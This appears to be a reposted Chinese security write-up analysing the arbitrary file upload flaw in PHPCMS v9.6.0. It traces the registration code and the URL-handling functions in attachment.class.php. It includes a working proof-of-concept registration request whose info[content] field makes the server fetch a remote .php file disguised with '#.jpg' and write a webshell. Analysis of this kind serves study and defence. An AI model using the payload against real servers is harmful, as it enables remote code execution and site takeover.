PHPCMS v9.6.0 前端任意文件上传漏洞分析

admin 2022年6月1日09:44:53评论183 views字数 1751阅读5分50秒阅读模式


概述

PHPCMS v9.6.0版本中的 libs/classes/attachment.class.php 文件存在漏洞,该漏洞源于 PHPCMS 程序在下载远程/本地文件时没有对文件的类型做正确的校验。远程攻击者可以利用该漏洞上传并执行任意的 PHP 代码。




漏洞分析

前台注册页面处

/index.php?m=member&c=index&a=register&siteid=1

路径:/phpcms/modules/member/index.php


注册处抓包:

POST /phpcms/install_package/index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
siteid=1&modelid=10&username=123456&password=123456&pwdconfirm=123456&email=123456%40qq.com&nickname=123456&info%5Bbirthday%5D=2022-04-28&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=

PHPCMS v9.6.0 前端任意文件上传漏洞分析


正常流程分析:

函数定位:register,代码做验证处理

PHPCMS v9.6.0 前端任意文件上传漏洞分析


接着往下走,有验证处理模块:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


验证完毕没有重复后,接下来做获取会员信息的模块:传入 info 值

关键点:$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);

PHPCMS v9.6.0 前端任意文件上传漏洞分析


根据下方 get 函数定位追踪:——> member_input.class.php

PHPCMS v9.6.0 前端任意文件上传漏洞分析


观察 fields 函数,追踪赋值,回到 get 函数,得知 get 是做了一个校验的操作。

校验结束之后,将表单插入数据库中:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


观察数据库:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


10——>birthday生日  11——>content内容

PoC:

siteid=1&modelid=11&username=NSdemon&password=NSdemon123&pwdconfirm=123456&email=NSdemon@qq.com&info[content]=<img src=http://url/1.txt?.php#.jpg>& &dosubmit=1&protocol=

恶意代码存在 info 中

PHPCMS v9.6.0 前端任意文件上传漏洞分析


通过了 array_map 进行处理,追踪 array_map 分析:

new_html_special_chars 做防 XSS 的过滤,对尖括号进行转义的方式。

PHPCMS v9.6.0 前端任意文件上传漏洞分析


往下走传入 get 中,$data 最后传入 value 中,追踪 value

PHPCMS v9.6.0 前端任意文件上传漏洞分析


截取长度的处理函数:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


做了一个数据查询的处理:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


处理完 modelid 函数后,追踪 editor

PHPCMS v9.6.0 前端任意文件上传漏洞分析

$value = $this->attachment->download('content', $value,$watermark_enable);

对传入的值做了一个处理操作,追踪下文:

phpcms/libs/classes/attachment.class.php

PHPCMS v9.6.0 前端任意文件上传漏洞分析

#做了一个后缀处理gif|jpg|jpeg|bmp|png
#做了一个 new_stripslashes 处理$string = new_stripslashes($value);


追踪查看:phpcms/libs/functions/global.func.php

PHPCMS v9.6.0 前端任意文件上传漏洞分析

做防止恶意代码

if(!preg_match_all("/(href|src)=([|']?)([^ '>]+($ext))2/i", $string, $matches)) return $value; #做了正则处理,来校验后缀。


处理完后,将进入 matches 做处理:

PHPCMS v9.6.0 前端任意文件上传漏洞分析


用 fillurl 做了处理,追踪查看分析:/phpcms/libs/classes/attachment.class.php

PHPCMS v9.6.0 前端任意文件上传漏洞分析


核心问题代码:去掉了#处理,去掉了poc后的#.jpg

PHPCMS v9.6.0 前端任意文件上传漏洞分析


通过 okurl 进行拼接,将原本的 .php 拼回给了 url

PHPCMS v9.6.0 前端任意文件上传漏洞分析


最后将马加载去了服务器地址中,由此写入 webshell。

PHPCMS v9.6.0 前端任意文件上传漏洞分析


- End -

原文始发于微信公众号(NS Demon团队):PHPCMS v9.6.0 前端任意文件上传漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年6月1日09:44:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHPCMS v9.6.0 前端任意文件上传漏洞分析http://cn-sec.com/archives/1074656.html

发表评论

匿名网友 填写信息